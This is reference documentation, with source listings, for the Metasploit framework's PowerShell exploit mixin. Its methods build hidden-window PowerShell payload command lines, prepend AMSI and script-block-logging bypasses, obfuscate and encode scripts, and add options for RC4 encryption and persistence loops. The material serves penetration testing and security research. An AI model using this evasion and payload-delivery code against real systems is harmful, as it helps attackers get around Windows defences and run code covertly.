Module: Msf::Exploit::Powershell
- Included in:
- JavaDeserialization, RubyDeserialization, Post::Windows::Powershell, Post::Windows::Runas
- Defined in:
- lib/msf/core/exploit/powershell.rb,
lib/msf/core/exploit/powershell/dot_net.rb
Defined Under Namespace
Modules: DotNet, PshMethods
Instance Method Summary collapse
-
#bypass_powershell_protections ⇒ String
Return all bypasses checking if PowerShell version > 3.
-
#cmd_psh_payload(pay, payload_arch, opts = {}) ⇒ String
Creates a powershell command line string which will execute the payload in a hidden window in the appropriate execution environment for the payload architecture.
-
#compress_script(script_in, eof = nil) ⇒ String
Return a gzip compressed powershell script Will invoke PSH modifiers as enabled.
-
#decode_script(script_in) ⇒ String
Return an decoded powershell script.
-
#decompress_script(script_in) ⇒ String
Return a decompressed powershell script.
-
#encode_script(script_in, eof = nil) ⇒ String
Return an encoded powershell script Will invoke PSH modifiers as enabled.
-
#generate_psh_args(opts) ⇒ String
Generate arguments for the powershell command The format will be have no space at the start and have a space afterwards e.g.
-
#generate_psh_command_line(opts) ⇒ String
Generate a powershell command line, options are passed on to generate_psh_args.
- #initialize(info = {}) ⇒ Object
-
#make_subs(script, subs) ⇒ Object
Insert substitutions into the powershell script If script is a path to a file then read the file otherwise treat it as the contents of a file.
-
#process_subs(subs) ⇒ Object
Return an array of substitutions for use in make_subs.
-
#read_script(script_path) ⇒ Object
Return a script from path or string.
-
#run_hidden_psh(ps_code, payload_arch, encoded) ⇒ String
Wraps the powershell code to launch a hidden window and detect the execution environment and spawn the appropriate powershell executable for the payload architecture.
Instance Method Details
#bypass_powershell_protections ⇒ String
Return all bypasses checking if PowerShell version > 3
266 267 268 269 270 271 272 273 274 275 276 277 278 |
# File 'lib/msf/core/exploit/powershell.rb', line 266 def bypass_powershell_protections # generate the protections bypass in three short steps # step 1: shuffle the instructions by rendering the GraphML script = Rex::Payloads::Shuffle.from_graphml_file( File.join(Msf::Config.install_root, 'data', 'evasion', 'windows', 'bypass_powershell_protections.erb.graphml'), ) # step 2: obfuscate sketchy string literals by rendering the ERB template script = ::ERB.new(script).result(binding) # step 3: obfuscate variable names and remove whitespace script = Rex::Powershell::Script.new(script) script.sub_vars if datastore['Powershell::sub_vars'] Rex::Powershell::PshMethods.uglify_ps(script.to_s) end |
#cmd_psh_payload(pay, payload_arch, opts = {}) ⇒ String
Creates a powershell command line string which will execute the payload in a hidden window in the appropriate execution environment for the payload architecture. Opts are passed through to run_hidden_psh, generate_psh_command_line and generate_psh_args
231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 |
# File 'lib/msf/core/exploit/powershell.rb', line 231 def cmd_psh_payload(pay, payload_arch, opts = {}) %i[persist prepend_sleep exec_in_place exec_rc4 encode_final_payload encode_inner_payload remove_comspec noninteractive wrap_double_quotes no_equals method prepend_protections_bypass].map do |opt| opts[opt] = datastore["Powershell::#{opt}"] if opts[opt].nil? end prepend_protections_bypass = opts.delete(:prepend_protections_bypass) if %w[ auto true ].include?(prepend_protections_bypass) opts[:prepend] = bypass_powershell_protections end unless opts.key? :shorten opts[:shorten] = (datastore['Powershell::method'] != 'old') end template_path = Rex::Powershell::Templates::TEMPLATE_DIR begin command = Rex::Powershell::Command.cmd_psh_payload(pay, payload_arch, template_path, opts) rescue Rex::Powershell::Exceptions::PowershellCommandLengthError => e raise unless prepend_protections_bypass == 'auto' # if prepend protections bypass is automatic, try it first but if the size is too large, turn it off and try again opts.delete(:prepend) command = Rex::Powershell::Command.cmd_psh_payload(pay, payload_arch, template_path, opts) end vprint_status("Powershell command length: #{command.length}") command end |
#compress_script(script_in, eof = nil) ⇒ String
Return a gzip compressed powershell script Will invoke PSH modifiers as enabled
104 105 106 107 108 109 110 111 112 113 114 |
# File 'lib/msf/core/exploit/powershell.rb', line 104 def compress_script(script_in, eof = nil) opts = {} datastore.keys.select { |k| k =~ /^Powershell::(strip|sub)/i }.each do |k| next unless datastore[k] mod_method = k.split('::').last.intern opts[mod_method.to_sym] = true end Rex::Powershell::Command.compress_script(script_in, eof, opts) end |
#decode_script(script_in) ⇒ String
Return an decoded powershell script
88 89 90 91 92 93 94 |
# File 'lib/msf/core/exploit/powershell.rb', line 88 def decode_script(script_in) return script_in unless script_in.to_s.match(%r{[A-Za-z0-9+/]+={0,3}})[0] == script_in.to_s && (script_in.to_s.length % 4).zero? Rex::Powershell::Command.decode_script(script_in) end |
#decompress_script(script_in) ⇒ String
Return a decompressed powershell script
122 123 124 125 126 |
# File 'lib/msf/core/exploit/powershell.rb', line 122 def decompress_script(script_in) return script_in unless script_in.match?(/FromBase64String/) Rex::Powershell::Command.decompress_script(script_in) end |
#encode_script(script_in, eof = nil) ⇒ String
Return an encoded powershell script Will invoke PSH modifiers as enabled
70 71 72 73 74 75 76 77 78 79 80 |
# File 'lib/msf/core/exploit/powershell.rb', line 70 def encode_script(script_in, eof = nil) opts = {} datastore.keys.select { |k| k =~ /^Powershell::(strip|sub)/i }.each do |k| next unless datastore[k] mod_method = k.split('::').last.intern opts[mod_method.to_sym] = true end Rex::Powershell::Command.encode_script(script_in, eof, opts) end |
#generate_psh_args(opts) ⇒ String
Generate arguments for the powershell command The format will be have no space at the start and have a space afterwards e.g. “-Arg1 x -Arg -Arg x ”
173 174 175 176 177 178 179 180 181 |
# File 'lib/msf/core/exploit/powershell.rb', line 173 def generate_psh_args(opts) return '' unless opts unless opts.key? :shorten opts[:shorten] = (datastore['Powershell::method'] != 'old') end Rex::Powershell::Command.generate_psh_args(opts) end |
#generate_psh_command_line(opts) ⇒ String
Generate a powershell command line, options are passed on to generate_psh_args
138 139 140 |
# File 'lib/msf/core/exploit/powershell.rb', line 138 def generate_psh_command_line(opts) Rex::Powershell::Command.generate_psh_command_line(opts) end |
#initialize(info = {}) ⇒ Object
6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
# File 'lib/msf/core/exploit/powershell.rb', line 6 def initialize(info = {}) super ( [ OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]), OptInt.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']), OptEnum.new('Powershell::prepend_protections_bypass', [true, 'Prepend AMSI/SBL bypass', 'auto', %w[ auto true false ]]), OptBool.new('Powershell::strip_comments', [true, 'Strip comments', true]), OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]), OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', true]), OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]), OptBool.new('Powershell::exec_in_place', [true, 'Produce PSH without executable wrapper', false]), OptBool.new('Powershell::exec_rc4', [true, 'Encrypt PSH with RC4', false]), OptBool.new('Powershell::remove_comspec', [true, 'Produce script calling powershell directly', false]), OptBool.new('Powershell::noninteractive', [true, 'Execute powershell without interaction', true]), OptBool.new('Powershell::encode_final_payload', [true, 'Encode final payload for -EncodedCommand', false]), OptBool.new('Powershell::encode_inner_payload', [true, 'Encode inner payload for -EncodedCommand', false]), OptBool.new('Powershell::wrap_double_quotes', [true, 'Wraps the -Command argument in single quotes', true]), OptBool.new('Powershell::no_equals', [true, 'Pad base64 until no "=" remains', false]), OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w[net reflection old msil]]) ] ) end |
#make_subs(script, subs) ⇒ Object
Insert substitutions into the powershell script If script is a path to a file then read the file otherwise treat it as the contents of a file
55 56 57 58 59 60 61 |
# File 'lib/msf/core/exploit/powershell.rb', line 55 def make_subs(script, subs) subs.each do |set| script.gsub!(set[0], set[1]) end script end |
#process_subs(subs) ⇒ Object
Return an array of substitutions for use in make_subs
40 41 42 43 44 45 46 47 48 |
# File 'lib/msf/core/exploit/powershell.rb', line 40 def process_subs(subs) return [] if subs.nil? || subs.empty? new_subs = [] subs.split(';').each do |set| new_subs << set.split(',', 2) end new_subs end |
#read_script(script_path) ⇒ Object
Return a script from path or string
33 34 35 |
# File 'lib/msf/core/exploit/powershell.rb', line 33 def read_script(script_path) Rex::Powershell::Script.new(script_path) end |
#run_hidden_psh(ps_code, payload_arch, encoded) ⇒ String
Wraps the powershell code to launch a hidden window and detect the execution environment and spawn the appropriate powershell executable for the payload architecture.
192 193 194 195 196 197 198 199 200 201 202 203 |
# File 'lib/msf/core/exploit/powershell.rb', line 192 def run_hidden_psh(ps_code, payload_arch, encoded) arg_opts = { noprofile: true, windowstyle: 'hidden' } # Old technique fails if powershell exits.. arg_opts[:noexit] = (datastore['Powershell::method'] == 'old') arg_opts[:shorten] = (datastore['Powershell::method'] != 'old') Rex::Powershell::Command.run_hidden_psh(ps_code, payload_arch, encoded, arg_opts) end |